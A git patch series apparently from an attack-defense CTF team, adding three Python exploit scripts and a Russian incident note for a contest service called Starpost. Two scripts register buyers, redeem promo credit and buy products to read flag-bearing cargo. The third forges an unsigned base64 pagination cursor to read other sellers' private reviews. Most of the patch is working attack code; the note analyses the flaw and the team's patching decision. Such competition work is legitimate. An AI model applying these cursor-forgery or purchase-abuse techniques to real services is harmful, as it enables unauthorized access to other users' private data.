From 9f25b291401dd9e97d63509f25ceb1575fb074b6 Mon Sep 17 00:00:00 2001 From: shira Date: Sun, 25 Oct 2026 11:40:12 +0300 Subject: [PATCH 1/2] starpost: add bounded market exploit and incident handoff --- sploits/starpost_market.py | 253 ++++++++++++++++++++++++++++++++ starpost/INCIDENT-2026-10-25.md | 60 ++++++++ 2 files changed, 313 insertions(+) create mode 100755 sploits/starpost_market.py create mode 100644 starpost/INCIDENT-2026-10-25.md diff --git a/sploits/starpost_market.py b/sploits/starpost_market.py new file mode 100755 index 0000000..199f832 --- /dev/null +++ b/sploits/starpost_market.py @@ -0,0 +1,253 @@ +#!/usr/bin/env python3 +"""Buy recent affordable Starpost cargo and read it after warehouse delivery. + +Neo passes one target address. Only event-format flags are written to stdout. +This script uses public registration and the buyer's own promo; it needs no +service secret, warehouse token, or Skipper credential. +""" + +from __future__ import annotations + +import json +import re +import secrets +import signal +import sys +import time +from http.cookies import SimpleCookie +from urllib.error import HTTPError, URLError +from urllib.parse import urlsplit, urlunsplit +from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener + + +SERVICE_PORT = 8090 +RUN_TIMEOUT = 8.5 +REQUEST_TIMEOUT = 1.2 +MAX_RESPONSE = 512 * 1024 +MAX_BUYS = 2 +MAX_BUY_ATTEMPTS = 3 +MAX_ORDER_POLLS = 5 +POLL_INTERVAL = 0.3 +FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=") + + +class NoRedirects(HTTPRedirectHandler): + def redirect_request(self, req, fp, code, msg, headers, newurl): + return None + + +# In particular, do not follow a redirect to an unrelated host or use a +# workstation HTTP proxy instead of the contest VPN route. +OPENER = build_opener(ProxyHandler({}), NoRedirects()) + + +def build_target(target: str) -> str: + raw = target.strip() + if not raw: + raise ValueError("empty target") + if "://" not in raw: + raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}" + parsed = urlsplit(raw) + if parsed.scheme not in {"http", "https"} or not parsed.hostname: + raise ValueError("expected HTTP(S) target") + if parsed.username or parsed.password or parsed.path not in {"", "/"}: + raise ValueError("target must contain only a host and optional port") + if parsed.query or parsed.fragment: + raise ValueError("target must not contain query or fragment") + port = parsed.port or SERVICE_PORT + if not 1 <= port <= 65535: + raise ValueError("invalid target port") + host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname + return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")) + + +def request_json( + target: str, + path: str, + deadline: float, + *, + method: str = "GET", + payload: dict | None = None, + cookie: str | None = None, +) -> tuple[int, object, str | None]: + remaining = deadline - time.monotonic() + if remaining <= 0: + raise TimeoutError("run deadline exceeded") + body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None + headers = {"Accept": "application/json", "User-Agent": "neo-starpost-market/1.0"} + if body is not None: + headers["Content-Type"] = "application/json" + if cookie is not None: + headers["Cookie"] = f"session={cookie}" + req = Request(target + path, data=body, headers=headers, method=method) + try: + response = OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) + except HTTPError as exc: + response = exc + with response: + raw = response.read(MAX_RESPONSE + 1) + if len(raw) > MAX_RESPONSE: + raise ValueError("response too large") + cookies = SimpleCookie() + for header in response.headers.get_all("Set-Cookie", []): + cookies.load(header) + session = cookies["session"].value if "session" in cookies else None + try: + data = json.loads(raw) + except (UnicodeDecodeError, json.JSONDecodeError): + raise ValueError("invalid JSON response") from None + return response.status, data, session + + +def scan_flags(value: object) -> set[str]: + # Only a delivered order's cargo is read here; avoid printing whole JSON. + return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set() + + +def candidates(products: object) -> list[tuple[int, int]]: + if not isinstance(products, list): + raise ValueError("products response is not a list") + found = [] + seen = set() + for product in products: + if not isinstance(product, dict): + continue + product_id, price = product.get("id"), product.get("price") + if ( + isinstance(product_id, int) + and not isinstance(product_id, bool) + and product_id > 0 + and isinstance(price, int) + and not isinstance(price, bool) + and 0 < price <= 200 + and product_id not in seen + ): + found.append((product_id, price)) + seen.add(product_id) + return found + + +def run_exploit(raw_target: str) -> tuple[list[str], int, int]: + target = build_target(raw_target) + deadline = time.monotonic() + RUN_TIMEOUT + + status, products, _ = request_json(target, "/api/products", deadline) + if status != 200: + raise ValueError(f"catalog returned HTTP {status}") + available = candidates(products) + if not available: + return [], 0, 0 + + marker = secrets.token_hex(8) + status, _, cookie = request_json( + target, + "/api/register", + deadline, + method="POST", + payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"}, + ) + if status != 201 or not cookie: + raise ValueError(f"buyer registration returned HTTP {status}") + + status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie) + if status != 200 or not isinstance(account, dict): + raise ValueError(f"account returned HTTP {status}") + promo = account.get("promo") + user = account.get("user") + if not isinstance(promo, dict) or not isinstance(promo.get("code"), str): + raise ValueError("buyer promo missing") + if not isinstance(user, dict) or not isinstance(user.get("balance"), int): + raise ValueError("buyer balance missing") + budget = user["balance"] + + status, credit, _ = request_json( + target, + "/api/promo/credit", + deadline, + method="POST", + payload={"code": promo["code"]}, + cookie=cookie, + ) + if status != 200 or not isinstance(credit, dict): + raise ValueError(f"promo credit returned HTTP {status}") + credited = credit.get("credited") + if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0: + raise ValueError("invalid credited amount") + budget += credited + + bought_ids: set[int] = set() + buy_attempts = 0 + for product_id, price in available: + if len(bought_ids) >= MAX_BUYS or buy_attempts >= MAX_BUY_ATTEMPTS or time.monotonic() >= deadline: + break + if price > budget: + continue + buy_attempts += 1 + status, order, _ = request_json( + target, + f"/api/products/{product_id}/buy", + deadline, + method="POST", + payload={}, + cookie=cookie, + ) + if status != 201 or not isinstance(order, dict): + continue + order_id = order.get("id") + if isinstance(order_id, int) and not isinstance(order_id, bool) and order_id > 0: + bought_ids.add(order_id) + budget -= price + + flags: set[str] = set() + polls = 0 + for poll in range(MAX_ORDER_POLLS): + if not bought_ids or time.monotonic() >= deadline: + break + if poll: + time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic()))) + status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie) + polls += 1 + if status != 200 or not isinstance(orders, list): + break + delivered = set() + for order in orders: + if not isinstance(order, dict): + continue + order_id = order.get("id") + if not isinstance(order_id, int) or order_id not in bought_ids: + continue + if order.get("status") == "delivered": + delivered.add(order_id) + flags.update(scan_flags(order.get("cargo"))) + if delivered == bought_ids: + break + return sorted(flags), len(bought_ids), polls + + +def main() -> int: + if len(sys.argv) != 2: + print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr) + return 2 + def hard_timeout(_signum, _frame): + raise TimeoutError("run deadline exceeded") + + # A slow-drip HTTP response can keep an individual socket read alive past + # its timeout. Neo runs this as a Linux child process; bound the whole run. + previous_handler = signal.signal(signal.SIGALRM, hard_timeout) + signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2) + try: + flags, bought, polls = run_exploit(sys.argv[1]) + except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc: + print(f"request failed: {exc}", file=sys.stderr) + return 1 + finally: + signal.setitimer(signal.ITIMER_REAL, 0) + signal.signal(signal.SIGALRM, previous_handler) + print(f"bought={bought} order_polls={polls} flags={len(flags)}", file=sys.stderr) + if flags: + print("\n".join(flags), flush=True) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/starpost/INCIDENT-2026-10-25.md b/starpost/INCIDENT-2026-10-25.md new file mode 100644 index 0000000..3d07bf5 --- /dev/null +++ b/starpost/INCIDENT-2026-10-25.md @@ -0,0 +1,60 @@ +# Starpost: покупка чужого cargo, 25 октября 2026 + +## Подтверждённый путь + +Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов +при регистрации и ещё 100 при однократном применении своего promo. Товары, +созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–175. +Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину, +warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`. + +На снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный +заказ от 91 buyer. Счётчики растут, это не точное число похищенных или +зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор +и поддельный warehouse callback текущая версия отклоняет. Runtime session key +и callback token уже отличаются от старых литералов в скриптах. Секреты и +значения флагов в этом документе не сохраняются. + +## Что делает checker + +Ежеминутный поток создаёт seller и product, читает карточку и собственный +договор, регистрирует **нового** buyer, применяет и гасит promo, покупает через +корзину или прямой buy, опрашивает заказы до доставки и оставляет отзыв. +Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых +сценариях первая покупка произошла через 0,232–0,563 с после создания товара. +Buyer создаётся без cookie seller; связывать их по одной сессии нельзя. + +## Решение по выкладке + +**Не выкладывать ограничение `cargo` по первому покупателю, времени покупки, +User-Agent, IP или виду флага.** Первый покупатель может оказаться соперником, +что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`. +Проверка времени основана лишь на текущей скорости checker и лишает +оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор +сводит HTTP-клиентов к одному видимому IP. Такие ограничения нарушают +штатную семантику покупки и не дают надёжной защиты. + +Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product, +contract, promo, прямую покупку и checkout, warehouse delivery, orders, +private review и чтение старого заказа после перезапуска приложения. Он +**не заменяет официальный checker**. Рассмотренный cargo-патч был отвергнут +независимым review и не попал в Git. + +Для настоящего исправления нужен предусмотренный протоколом способ указать +получателя товара при создании или иное право, которое checker может передать +новому buyer. Текущий checker и соперник используют одинаковый маршрут покупки; +без изменения контракта их нельзя надёжно различить. + +## Эксплойт и дальнейшая проверка + +`sploits/starpost_market.py` воспроизводит штатную покупку с одной активацией +promo и ограниченным числом запросов. Он проверен на синтетическом HTTP-сервисе: +регистрация, покупка, отложенная доставка, поиск флага, ограничение времени, +stdout/stderr и запрет перехода по redirect. На чужих командах и в Neo этот +скрипт ещё не запускался; `accepted` в Skipper не подтверждён. + +Перед любым следующим патчем сохранить состояние томов и текущий commit, +прогнать оба способа покупки и GET-old, затем после выкладки проверить статус +официального checker. Не выполнять `git reset`/обычный `git pull` на vulnbox: +в рабочей копии Git отслеживает файлы `starpost/postgres/`, которые меняются +во время игры. From 5d0f36c7f40794c75d79f8993abffb6152536a35 Mon Sep 17 00:00:00 2001 From: scandalist-trash Date: Sun, 25 Oct 2026 04:42:12 -0400 Subject: [PATCH 2/2] starpost: add bounded non-DoS exploits --- sploits/starpost_reviews.py | 216 ++++++++++++++++++++++++++++++++ sploits/starpost_signup.py | 243 ++++++++++++++++++++++++++++++++++++ 2 files changed, 459 insertions(+) create mode 100755 sploits/starpost_reviews.py create mode 100755 sploits/starpost_signup.py diff --git a/sploits/starpost_reviews.py b/sploits/starpost_reviews.py new file mode 100755 index 0000000..e60f4d4 --- /dev/null +++ b/sploits/starpost_reviews.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python3 + +from __future__ import annotations + +import base64 +import concurrent.futures +import json +import re +import secrets +import sys +import time +from http.client import HTTPException +from http.cookies import SimpleCookie +from urllib.error import HTTPError, URLError +from urllib.parse import urlsplit, urlunsplit +from urllib.request import HTTPRedirectHandler, Request, build_opener + + +TARGET_SCHEME = "http" +SERVICE_PORT = 8090 +REQUEST_TIMEOUT = 1.0 +RUN_TIMEOUT = 8.5 +MAX_RESPONSE = 32 * 1024 +RECENT_USER_WINDOW = 20 +MAX_WORKERS = 4 +PAGE_SIZE = 3 +FIRST_REVIEW_ID = 1_000_000_000 +FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=") + + +class NoRedirects(HTTPRedirectHandler): + def redirect_request(self, req, fp, code, msg, headers, newurl): + return None + + +def build_target(target: str) -> str: + raw = target.strip() + if not raw: + raise ValueError("empty target") + if "://" not in raw: + authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw + raw = f"{TARGET_SCHEME}://{authority}" + parsed = urlsplit(raw) + if parsed.scheme not in {"http", "https"} or not parsed.hostname: + raise ValueError("expected an HTTP target") + if parsed.username or parsed.password or parsed.path not in {"", "/"}: + raise ValueError("target must not include credentials or a path") + if parsed.query or parsed.fragment: + raise ValueError("target must not include query or fragment") + port = parsed.port + if port is None: + port = 443 if parsed.scheme == "https" else SERVICE_PORT + if not 1 <= port <= 65535: + raise ValueError("invalid target port") + host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname + return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")) + + +def request( + target: str, + method: str, + path: str, + deadline: float, + payload: dict | None = None, + cookie: str | None = None, +) -> tuple[int, list[tuple[str, str]], bytes]: + remaining = deadline - time.monotonic() + if remaining <= 0: + raise TimeoutError("run deadline exceeded") + body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None + headers = {"Accept": "application/json", "User-Agent": "neo-starpost-reviews/1.0"} + if body is not None: + headers["Content-Type"] = "application/json" + if cookie: + headers["Cookie"] = f"session={cookie}" + req = Request(target + path, data=body, headers=headers, method=method) + opener = build_opener(NoRedirects()) + try: + with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response: + data = response.read(MAX_RESPONSE + 1) + if len(data) > MAX_RESPONSE: + raise ValueError("response too large") + return response.status, list(response.headers.items()), data + except HTTPError as exc: + data = exc.read(MAX_RESPONSE + 1) + if len(data) > MAX_RESPONSE: + raise ValueError("response too large") + return exc.code, list(exc.headers.items()), data + + +def register_seller(target: str, deadline: float) -> tuple[int, str]: + marker = secrets.token_hex(8) + status, headers, raw = request( + target, + "POST", + "/api/register", + deadline, + payload={ + "username": f"reviews-{marker}", + "password": secrets.token_urlsafe(18), + "role": "seller", + "company_name": f"reviews-{marker}", + "tax_id": marker, + "signature": "synthetic-probe", + }, + ) + if status != 201: + raise ValueError(f"registration returned HTTP {status}") + response = json.loads(raw) + if not isinstance(response, dict) or isinstance(response.get("id"), bool): + raise ValueError("registration returned an invalid user id") + try: + user_id = int(response["id"]) + except (KeyError, TypeError, ValueError) as exc: + raise ValueError("registration returned an invalid user id") from exc + if user_id < 1: + raise ValueError("registration returned an invalid user id") + cookies = SimpleCookie() + for name, value in headers: + if name.lower() == "set-cookie": + cookies.load(value) + if "session" not in cookies: + raise ValueError("registration did not return a session") + return user_id, cookies["session"].value + + +def make_cursor(seller_id: int, last_id: int) -> str: + state = { + "seller_id": seller_id, + "is_private": True, + "last_id": last_id, + "v": 2, + } + raw = json.dumps(state, separators=(",", ":")).encode() + return base64.urlsafe_b64encode(raw).decode().rstrip("=") + + +def collect_reviews(target: str, seller_id: int, cookie: str, deadline: float) -> tuple[set[bytes], int, bool]: + flags: set[bytes] = set() + try: + cursor = make_cursor(seller_id, FIRST_REVIEW_ID) + status, _, raw = request( + target, + "GET", + f"/api/seller/reviews?limit={PAGE_SIZE}&cursor={cursor}", + deadline, + cookie=cookie, + ) + if status != 200: + return flags, 1, status != 400 + response = json.loads(raw) + rows = response.get("reviews") if isinstance(response, dict) else None + if not isinstance(rows, list): + return flags, 1, True + for row in rows: + if not isinstance(row, dict) or row.get("is_private") is not True: + continue + review_body = row.get("body") + if isinstance(review_body, str): + flags.update(FLAG_PATTERN.findall(review_body.encode())) + except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError): + return flags, 1, True + return flags, 1, False + + +def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]: + target = build_target(raw_target) + deadline = time.monotonic() + RUN_TIMEOUT + newest, cookie = register_seller(target, deadline) + oldest = max(1, newest - RECENT_USER_WINDOW) + seller_ids = range(newest - 1, oldest - 1, -1) + flags: set[str] = set() + checked = 0 + requests_made = 0 + errors = 0 + with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool: + futures = [ + pool.submit(collect_reviews, target, seller_id, cookie, deadline) + for seller_id in seller_ids + ] + for future in concurrent.futures.as_completed(futures): + found, request_count, failed = future.result() + requests_made += request_count + errors += int(failed) + checked += 1 + for candidate in sorted(flag.decode("ascii") for flag in found): + if candidate in flags: + continue + flags.add(candidate) + if emit is not None: + emit(candidate) + if checked and errors == checked: + raise OSError("all review requests failed") + return sorted(flags), checked, requests_made, errors + + +def main() -> int: + if len(sys.argv) != 2: + print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr) + return 2 + try: + flags, checked, requests_made, errors = run_exploit( + sys.argv[1], lambda candidate: print(candidate, flush=True) + ) + except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc: + print(f"request failed: {exc}", file=sys.stderr) + return 1 + print( + f"checked={checked} requests={requests_made} request_errors={errors} flags={len(flags)}", + file=sys.stderr, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/sploits/starpost_signup.py b/sploits/starpost_signup.py new file mode 100755 index 0000000..2472461 --- /dev/null +++ b/sploits/starpost_signup.py @@ -0,0 +1,243 @@ +#!/usr/bin/env python3 + +from __future__ import annotations + +import json +import re +import secrets +import sys +import time +from http.client import HTTPException +from http.cookies import SimpleCookie +from urllib.error import HTTPError, URLError +from urllib.parse import urlsplit, urlunsplit +from urllib.request import HTTPRedirectHandler, Request, build_opener + + +TARGET_SCHEME = "http" +SERVICE_PORT = 8090 +REQUEST_TIMEOUT = 1.5 +RUN_TIMEOUT = 8.0 +MAX_RESPONSE = 512 * 1024 +MAX_PRICE = 200 +DELIVERY_POLLS = 4 +POLL_INTERVAL = 0.3 +FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=") + + +class NoRedirects(HTTPRedirectHandler): + def redirect_request(self, req, fp, code, msg, headers, newurl): + return None + + +def build_target(target: str) -> str: + raw = target.strip() + if not raw: + raise ValueError("empty target") + if "://" not in raw: + authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw + raw = f"{TARGET_SCHEME}://{authority}" + parsed = urlsplit(raw) + if parsed.scheme not in {"http", "https"} or not parsed.hostname: + raise ValueError("expected an HTTP target") + if parsed.username or parsed.password or parsed.path not in {"", "/"}: + raise ValueError("target must not include credentials or a path") + if parsed.query or parsed.fragment: + raise ValueError("target must not include query or fragment") + port = parsed.port + if port is None: + port = 443 if parsed.scheme == "https" else SERVICE_PORT + if not 1 <= port <= 65535: + raise ValueError("invalid target port") + host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname + return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")) + + +def request( + target: str, + method: str, + path: str, + deadline: float, + payload: dict | None = None, + cookie: str | None = None, +) -> tuple[int, list[tuple[str, str]], bytes]: + remaining = deadline - time.monotonic() + if remaining <= 0: + raise TimeoutError("run deadline exceeded") + body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None + headers = {"Accept": "application/json", "User-Agent": "neo-starpost-signup/1.0"} + if body is not None: + headers["Content-Type"] = "application/json" + if cookie: + headers["Cookie"] = f"session={cookie}" + req = Request(target + path, data=body, headers=headers, method=method) + opener = build_opener(NoRedirects()) + try: + with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response: + data = response.read(MAX_RESPONSE + 1) + if len(data) > MAX_RESPONSE: + raise ValueError("response too large") + return response.status, list(response.headers.items()), data + except HTTPError as exc: + data = exc.read(MAX_RESPONSE + 1) + if len(data) > MAX_RESPONSE: + raise ValueError("response too large") + return exc.code, list(exc.headers.items()), data + + +def get_json( + target: str, + method: str, + path: str, + deadline: float, + payload: dict | None = None, + cookie: str | None = None, +) -> tuple[int, list[tuple[str, str]], object, bytes]: + status, headers, raw = request(target, method, path, deadline, payload, cookie) + try: + decoded = json.loads(raw) + except json.JSONDecodeError as exc: + raise ValueError(f"{path} returned invalid JSON") from exc + return status, headers, decoded, raw + + +def select_product(target: str, deadline: float) -> tuple[int, int] | None: + status, _, response, _ = get_json(target, "GET", "/api/products", deadline) + if status != 200 or not isinstance(response, list): + raise ValueError(f"products endpoint returned HTTP {status}") + for product in response: + if not isinstance(product, dict): + continue + try: + product_id = int(product["id"]) + price = int(product["price"]) + except (KeyError, TypeError, ValueError): + continue + if isinstance(product.get("id"), bool) or isinstance(product.get("price"), bool): + continue + if product_id > 0 and 1 <= price <= MAX_PRICE: + return product_id, price + return None + + +def register_buyer(target: str, deadline: float) -> str: + marker = secrets.token_hex(8) + status, headers, _, _ = get_json( + target, + "POST", + "/api/register", + deadline, + payload={ + "username": f"signup-{marker}", + "password": secrets.token_urlsafe(18), + "role": "buyer", + }, + ) + if status != 201: + raise ValueError(f"registration returned HTTP {status}") + cookies = SimpleCookie() + for name, value in headers: + if name.lower() == "set-cookie": + cookies.load(value) + if "session" not in cookies: + raise ValueError("registration did not return a session") + return cookies["session"].value + + +def obtain_credit(target: str, cookie: str, deadline: float) -> None: + status, _, response, _ = get_json(target, "GET", "/api/account", deadline, cookie=cookie) + if status != 200 or not isinstance(response, dict): + raise ValueError(f"account endpoint returned HTTP {status}") + promo = response.get("promo") + code = promo.get("code") if isinstance(promo, dict) else None + if not isinstance(code, str) or not code: + raise ValueError("promo code missing") + status, _, _, _ = get_json( + target, + "POST", + "/api/promo/credit", + deadline, + payload={"code": code}, + cookie=cookie, + ) + if status != 200: + raise ValueError(f"promo endpoint returned HTTP {status}") + + +def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int: + status, _, response, _ = get_json( + target, + "POST", + f"/api/products/{product_id}/buy", + deadline, + payload={}, + cookie=cookie, + ) + if status != 201 or not isinstance(response, dict): + raise ValueError(f"purchase endpoint returned HTTP {status}") + try: + order_id = int(response["id"]) + except (KeyError, TypeError, ValueError) as exc: + raise ValueError("purchase returned an invalid order id") from exc + return order_id + + +def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> set[bytes]: + for _ in range(DELIVERY_POLLS): + remaining = deadline - time.monotonic() + if remaining <= 0: + break + time.sleep(min(POLL_INTERVAL, remaining)) + try: + status, _, response, _ = get_json(target, "GET", "/api/orders", deadline, cookie=cookie) + except (OSError, TimeoutError, URLError, HTTPException, ValueError): + continue + if status != 200 or not isinstance(response, list): + continue + for order in response: + if not isinstance(order, dict): + continue + try: + current_id = int(order["id"]) + except (KeyError, TypeError, ValueError): + continue + cargo = order.get("cargo") + if current_id == order_id and order.get("status") == "delivered" and isinstance(cargo, str): + return set(FLAG_PATTERN.findall(cargo.encode())) + return set() + + +def run_exploit(raw_target: str) -> tuple[list[str], int | None, int | None]: + target = build_target(raw_target) + deadline = time.monotonic() + RUN_TIMEOUT + selected = select_product(target, deadline) + if selected is None: + return [], None, None + product_id, price = selected + cookie = register_buyer(target, deadline) + obtain_credit(target, cookie, deadline) + order_id = buy_product(target, product_id, cookie, deadline) + flags = sorted(flag.decode("ascii") for flag in collect_order(target, order_id, cookie, deadline)) + return flags, product_id, price + + +def main() -> int: + if len(sys.argv) != 2: + print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr) + return 2 + try: + flags, product_id, price = run_exploit(sys.argv[1]) + except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc: + print(f"request failed: {exc}", file=sys.stderr) + return 1 + if product_id is None: + print("no active product within the 200-credit signup budget", file=sys.stderr) + return 0 + for candidate in flags: + print(candidate, flush=True) + print(f"product={product_id} price={price} flags={len(flags)}", file=sys.stderr) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main())